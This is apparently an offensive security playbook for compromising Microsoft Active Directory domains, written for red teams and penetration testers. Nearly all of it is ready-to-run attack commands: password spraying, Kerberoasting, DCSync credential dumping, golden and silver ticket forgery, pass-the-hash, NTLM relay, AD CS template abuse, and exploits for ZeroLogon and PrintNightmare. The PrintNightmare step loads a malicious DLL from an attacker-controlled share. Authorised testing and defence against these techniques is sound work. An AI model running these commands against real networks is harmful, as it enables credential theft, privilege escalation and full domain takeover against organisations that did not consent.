Active Directory Attacks

Purpose

Provide comprehensive techniques for attacking Microsoft Active Directory environments. Covers reconnaissance, credential harvesting, Kerberos attacks, lateral movement, privilege escalation, and domain dominance for red team operations and penetration testing.

Inputs/Prerequisites

• Kali Linux or Windows attack platform
• Domain user credentials (for most attacks)
• Network access to Domain Controller
• Tools: Impacket, Mimikatz, BloodHound, Rubeus, CrackMapExec

Outputs/Deliverables

• Domain enumeration data
• Extracted credentials and hashes
• Kerberos tickets for impersonation
• Domain Administrator access
• Persistent access mechanisms

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Essential Tools

| Tool | Purpose | |------|---------| | BloodHound | AD attack path visualization | | Impacket | Python AD attack tools | | Mimikatz | Credential extraction | | Rubeus | Kerberos attacks | | CrackMapExec | Network exploitation | | PowerView | AD enumeration | | Responder | LLMNR/NBT-NS poisoning |

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Core Workflow

Step 1: Kerberos Clock Sync

Kerberos requires clock synchronization (±5 minutes):

# Detect clock skew
nmap -sT 10.10.10.10 -p445 --script smb2-time

# Fix clock on Linux
sudo date -s "14 APR 2024 18:25:16"

# Fix clock on Windows
net time /domain /set

# Fake clock without changing system time
faketime -f '+8h' <command>

Step 2: AD Reconnaissance with BloodHound

# Start BloodHound
neo4j console
bloodhound --no-sandbox

# Collect data with SharpHound
.\SharpHound.exe -c All
.\SharpHound.exe -c All --ldapusername user --ldappassword pass

# Python collector (from Linux)
bloodhound-python -u 'user' -p 'password' -d domain.local -ns 10.10.10.10 -c all

Step 3: PowerView Enumeration

# Get domain info
Get-NetDomain
Get-DomainSID
Get-NetDomainController

# Enumerate users
Get-NetUser
Get-NetUser -SamAccountName targetuser
Get-UserProperty -Properties pwdlastset

# Enumerate groups
Get-NetGroupMember -GroupName "Domain Admins"
Get-DomainGroup -Identity "Domain Admins" | Select-Object -ExpandProperty Member

# Find local admin access
Find-LocalAdminAccess -Verbose

# User hunting
Invoke-UserHunter
Invoke-UserHunter -Stealth

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Credential Attacks

Password Spraying

# Using kerbrute
./kerbrute passwordspray -d domain.local --dc 10.10.10.10 users.txt Password123

# Using CrackMapExec
crackmapexec smb 10.10.10.10 -u users.txt -p 'Password123' --continue-on-success

Kerberoasting

Extract service account TGS tickets and crack offline:

# Impacket
GetUserSPNs.py domain.local/user:password -dc-ip 10.10.10.10 -request -outputfile hashes.txt

# Rubeus
.\Rubeus.exe kerberoast /outfile:hashes.txt

# CrackMapExec
crackmapexec ldap 10.10.10.10 -u user -p password --kerberoast output.txt

# Crack with hashcat
hashcat -m 13100 hashes.txt rockyou.txt

AS-REP Roasting

Target accounts with "Do not require Kerberos preauthentication":

# Impacket
GetNPUsers.py domain.local/ -usersfile users.txt -dc-ip 10.10.10.10 -format hashcat

# Rubeus
.\Rubeus.exe asreproast /format:hashcat /outfile:hashes.txt

# Crack with hashcat
hashcat -m 18200 hashes.txt rockyou.txt

DCSync Attack

Extract credentials directly from DC (requires Replicating Directory Changes rights):

# Impacket
secretsdump.py domain.local/admin:password@10.10.10.10 -just-dc-user krbtgt

# Mimikatz
lsadump::dcsync /domain:domain.local /user:krbtgt
lsadump::dcsync /domain:domain.local /user:Administrator

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Kerberos Ticket Attacks

Pass-the-Ticket (Golden Ticket)

Forge TGT with krbtgt hash for any user:

# Get krbtgt hash via DCSync first
# Mimikatz - Create Golden Ticket
kerberos::golden /user:Administrator /domain:domain.local /sid:S-1-5-21-xxx /krbtgt:HASH /id:500 /ptt

# Impacket
ticketer.py -nthash KRBTGT_HASH -domain-sid S-1-5-21-xxx -domain domain.local Administrator
export KRB5CCNAME=Administrator.ccache
psexec.py -k -no-pass domain.local/Administrator@dc.domain.local

Silver Ticket

Forge TGS for specific service:

# Mimikatz
kerberos::golden /user:Administrator /domain:domain.local /sid:S-1-5-21-xxx /target:server.domain.local /service:cifs /rc4:SERVICE_HASH /ptt

Pass-the-Hash

# Impacket
psexec.py domain.local/Administrator@10.10.10.10 -hashes :NTHASH
wmiexec.py domain.local/Administrator@10.10.10.10 -hashes :NTHASH
smbexec.py domain.local/Administrator@10.10.10.10 -hashes :NTHASH

# CrackMapExec
crackmapexec smb 10.10.10.10 -u Administrator -H NTHASH -d domain.local
crackmapexec smb 10.10.10.10 -u Administrator -H NTHASH --local-auth

OverPass-the-Hash

Convert NTLM hash to Kerberos ticket:

# Impacket
getTGT.py domain.local/user -hashes :NTHASH
export KRB5CCNAME=user.ccache

# Rubeus
.\Rubeus.exe asktgt /user:user /rc4:NTHASH /ptt

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NTLM Relay Attacks

Responder + ntlmrelayx

# Start Responder (disable SMB/HTTP for relay)
responder -I eth0 -wrf

# Start relay
ntlmrelayx.py -tf targets.txt -smb2support

# LDAP relay for delegation attack
ntlmrelayx.py -t ldaps://dc.domain.local -wh attacker-wpad --delegate-access

SMB Signing Check

crackmapexec smb 10.10.10.0/24 --gen-relay-list targets.txt

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Certificate Services Attacks (AD CS)

ESC1 - Misconfigured Templates

# Find vulnerable templates
certipy find -u user@domain.local -p password -dc-ip 10.10.10.10

# Exploit ESC1
certipy req -u user@domain.local -p password -ca CA-NAME -target dc.domain.local -template VulnTemplate -upn administrator@domain.local

# Authenticate with certificate
certipy auth -pfx administrator.pfx -dc-ip 10.10.10.10

ESC8 - Web Enrollment Relay

ntlmrelayx.py -t http://ca.domain.local/certsrv/certfnsh.asp -smb2support --adcs --template DomainController

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Critical CVEs

ZeroLogon (CVE-2020-1472)

# Check vulnerability
crackmapexec smb 10.10.10.10 -u '' -p '' -M zerologon

# Exploit
python3 cve-2020-1472-exploit.py DC01 10.10.10.10

# Extract hashes
secretsdump.py -just-dc domain.local/DC01\$@10.10.10.10 -no-pass

# Restore password (important!)
python3 restorepassword.py domain.local/DC01@DC01 -target-ip 10.10.10.10 -hexpass HEXPASSWORD

PrintNightmare (CVE-2021-1675)

# Check for vulnerability
rpcdump.py @10.10.10.10 | grep 'MS-RPRN'

# Exploit (requires hosting malicious DLL)
python3 CVE-2021-1675.py domain.local/user:pass@10.10.10.10 '\\attacker\share\evil.dll'

samAccountName Spoofing (CVE-2021-42278/42287)

# Automated exploitation
python3 sam_the_admin.py "domain.local/user:password" -dc-ip 10.10.10.10 -shell

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Quick Reference

| Attack | Tool | Command | |--------|------|---------| | Kerberoast | Impacket | GetUserSPNs.py domain/user:pass -request | | AS-REP Roast | Impacket | GetNPUsers.py domain/ -usersfile users.txt | | DCSync | secretsdump | secretsdump.py domain/admin:pass@DC | | Pass-the-Hash | psexec | psexec.py domain/user@target -hashes :HASH | | Golden Ticket | Mimikatz | kerberos::golden /user:Admin /krbtgt:HASH | | Spray | kerbrute | kerbrute passwordspray -d domain users.txt Pass |

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Constraints

Must:

• Synchronize time with DC before Kerberos attacks
• Have valid domain credentials for most attacks
• Document all compromised accounts

Must Not:

• Lock out accounts with excessive password spraying
• Modify production AD objects without approval
• Leave Golden Tickets without documentation

Should:

• Run BloodHound for attack path discovery
• Check for SMB signing before relay attacks
• Verify patch levels for CVE exploitation

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Examples

Example 1: Domain Compromise via Kerberoasting

# 1. Find service accounts with SPNs
GetUserSPNs.py domain.local/lowpriv:password -dc-ip 10.10.10.10

# 2. Request TGS tickets
GetUserSPNs.py domain.local/lowpriv:password -dc-ip 10.10.10.10 -request -outputfile tgs.txt

# 3. Crack tickets
hashcat -m 13100 tgs.txt rockyou.txt

# 4. Use cracked service account
psexec.py domain.local/svc_admin:CrackedPassword@10.10.10.10

Example 2: NTLM Relay to LDAP

# 1. Start relay targeting LDAP
ntlmrelayx.py -t ldaps://dc.domain.local --delegate-access

# 2. Trigger authentication (e.g., via PrinterBug)
python3 printerbug.py domain.local/user:pass@target 10.10.10.12

# 3. Use created machine account for RBCD attack

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Troubleshooting

| Issue | Solution | |-------|----------| | Clock skew too great | Sync time with DC or use faketime | | Kerberoasting returns empty | No service accounts with SPNs | | DCSync access denied | Need Replicating Directory Changes rights | | NTLM relay fails | Check SMB signing, try LDAP target | | BloodHound empty | Verify collector ran with correct creds |

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Additional Resources

For advanced techniques including delegation attacks, GPO abuse, RODC attacks, SCCM/WSUS deployment, ADCS exploitation, trust relationships, and Linux AD integration, see references/advanced-attacks.md.